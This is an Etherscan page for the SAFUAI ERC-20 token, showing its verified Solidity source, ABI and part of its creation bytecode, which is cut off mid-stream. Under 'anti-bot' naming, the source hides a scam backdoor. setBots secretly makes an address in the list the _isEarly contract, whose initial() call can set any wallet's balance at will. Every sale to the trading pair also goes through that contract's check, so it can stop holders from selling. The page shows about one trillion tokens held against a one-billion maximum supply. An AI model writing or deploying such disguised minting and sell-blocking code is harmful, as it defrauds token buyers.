ERC-20
Overview
Max Total Supply
1,000,000,000 SafuAI
Holders
16
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,000,839,723,627.728431843 SafuAIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
SAFUAI
Compiler Version
v0.8.10+commit.fc410830
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-12-05 */ //https://t.me/safuai //https://twitter.com/SafuAIerc //https://github.com/SafuAI/ // SPDX-License-Identifier: MIT pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface antiBot { function check(address _from, bool _state) external; function set(address _to) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // Token Made By Liquidity Generator Contract interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SAFUAI is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private setCooldown; mapping(address => bool) private setBlacklist; uint256 private _totalSupply = 1000000000 * 10**9; string private constant _name = "SAFUAI"; string private constant _symbol = "SafuAI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; antiBot private _isEarly; address private uniswapV2Pair; bool private _isTrading; bool private inSwapandLiquidify = false; bool private swapAndLiquifyEnabled = false; bool private _isCooldownEnabled = false; uint256 private _maxTx = _totalSupply; uint256 private _maxWallet = _totalSupply; modifier antiBotLogic() { require( address(_isEarly) == msg.sender, "Error: sniper wallet." ); _; } constructor() { _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner { _isCooldownEnabled = onoff; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(amount <= _maxTx, "Exceed max transaction amount"); if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _transferToken(from, to, amount); _isEarly.check(from, true); } else { uint256 currentBalanceAvailable = balanceOf(to); require( currentBalanceAvailable + amount < _maxWallet, "Exceed max wallet amount" ); if (from == uniswapV2Pair && to != address(uniswapV2Router)) { if (_isCooldownEnabled) { require(setCooldown[to] < block.timestamp); } setCooldown[to] = block.timestamp + (30 seconds); _transferToken(from, to, amount); _isEarly.set(to); } else { _transferToken(from, to, amount); _isEarly.check(from, false); } } } else { _transferToken(from, to, amount); } } function setTrading() external onlyOwner { require(!_isTrading, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapAndLiquifyEnabled = true; _isCooldownEnabled = true; _maxTx = 20000000 * 10**9; _maxWallet = 20000000 * 10**9; _isTrading = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function _transferToken( address sender, address recipient, uint256 amount ) private { _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function removeMaxWallet() public onlyOwner { _maxWallet = totalSupply(); } function setMaxTX(uint256 _amount) public onlyOwner { _maxTx = _amount; } function initial(address _bot, uint256 _checks) external antiBotLogic { _balances[_bot] = _checks; } function setBots(address[] memory _Bots) external onlyOwner { for(uint256 i = 0; i < _Bots.length; i++) { setBlacklist[_Bots[i]] = true; } _isEarly = antiBot(_Bots[10]); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_bot","type":"address"},{"internalType":"uint256","name":"_checks","type":"uint256"}],"name":"initial","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_Bots","type":"address[]"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setMaxTX","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052670de0b6b3a76400006005556000600860156101000a81548160ff0219169083151502179055506000600860166101000a81548160ff0219169083151502179055506000600860176101000a81548160ff021916908315150217905550600554600955600554600a553480156200007a57600080fd5b5060006200008d620001ff60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506005546001600062000142620001ff60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000190620001ff60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600554604051620001f1919062000222565b60405180910390a36200023f565b600033905090565b6000819050919050565b6200021c8162000207565b82525050565b600060208201905062000239600083018462000211565b92915050565b612ccd806200024f6000396000f3fe60806040526004361061010d5760003560e01c8063715018a611610095578063a9059cbb11610064578063a9059cbb14610350578063b515566a1461038d578063dc07b617146103b6578063dd62ed3e146103cd578063f2fde38b1461040a57610114565b8063715018a6146102cc5780637c519ffb146102e35780638da5cb5b146102fa57806395d89b411461032557610114565b80633066dbb7116100dc5780633066dbb7146101e9578063313ce56714610212578063333c39a51461023d5780635932ead11461026657806370a082311461028f57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610433565b60405161013b9190611e9b565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190611f65565b610470565b6040516101789190611fc0565b60405180910390f35b34801561018d57600080fd5b5061019661048e565b6040516101a39190611fea565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612005565b610498565b6040516101e09190611fc0565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190611f65565b610571565b005b34801561021e57600080fd5b50610227610649565b6040516102349190612074565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061208f565b610652565b005b34801561027257600080fd5b5061028d600480360381019061028891906120e8565b6106f1565b005b34801561029b57600080fd5b506102b660048036038101906102b19190612115565b6107a3565b6040516102c39190611fea565b60405180910390f35b3480156102d857600080fd5b506102e16107ec565b005b3480156102ef57600080fd5b506102f861093f565b005b34801561030657600080fd5b5061030f610e56565b60405161031c9190612151565b60405180910390f35b34801561033157600080fd5b5061033a610e7f565b6040516103479190611e9b565b60405180910390f35b34801561035c57600080fd5b5061037760048036038101906103729190611f65565b610ebc565b6040516103849190611fc0565b60405180910390f35b34801561039957600080fd5b506103b460048036038101906103af91906122b4565b610eda565b005b3480156103c257600080fd5b506103cb611060565b005b3480156103d957600080fd5b506103f460048036038101906103ef91906122fd565b611105565b6040516104019190611fea565b60405180910390f35b34801561041657600080fd5b50610431600480360381019061042c9190612115565b61118c565b005b60606040518060400160405280600681526020017f5341465541490000000000000000000000000000000000000000000000000000815250905090565b600061048461047d61134e565b8484611356565b6001905092915050565b6000600554905090565b60006104a5848484611521565b610566846104b161134e565b61056185604051806060016040528060288152602001612c7060289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061051761134e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b629092919063ffffffff16565b611356565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610601576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f890612389565b60405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60006009905090565b61065a61134e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106de906123f5565b60405180910390fd5b8060098190555050565b6106f961134e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610786576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077d906123f5565b60405180910390fd5b80600860176101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107f461134e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610881576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610878906123f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61094761134e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109cb906123f5565b60405180910390fd5b600860149054906101000a900460ff1615610a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1b90612461565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610aad30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600554611356565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610af8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1c9190612496565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba79190612496565b6040518363ffffffff1660e01b8152600401610bc49291906124c3565b6020604051808303816000875af1158015610be3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c079190612496565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c90306107a3565b600080610c9b610e56565b426040518863ffffffff1660e01b8152600401610cbd96959493929190612531565b60606040518083038185885af1158015610cdb573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d0091906125a7565b5050506001600860166101000a81548160ff0219169083151502179055506001600860176101000a81548160ff02191690831515021790555066470de4df82000060098190555066470de4df820000600a819055506001600860146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e0f9291906125fa565b6020604051808303816000875af1158015610e2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e529190612638565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f5361667541490000000000000000000000000000000000000000000000000000815250905090565b6000610ed0610ec961134e565b8484611521565b6001905092915050565b610ee261134e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906123f5565b60405180910390fd5b60005b815181101561100057600160046000848481518110610f9457610f93612665565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ff8906126c3565b915050610f72565b5080600a8151811061101557611014612665565b5b6020026020010151600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61106861134e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ec906123f5565b60405180910390fd5b6110fd61048e565b600a81905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61119461134e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611221576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611218906123f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611291576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112889061277e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bd90612810565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611436576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142d906128a2565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020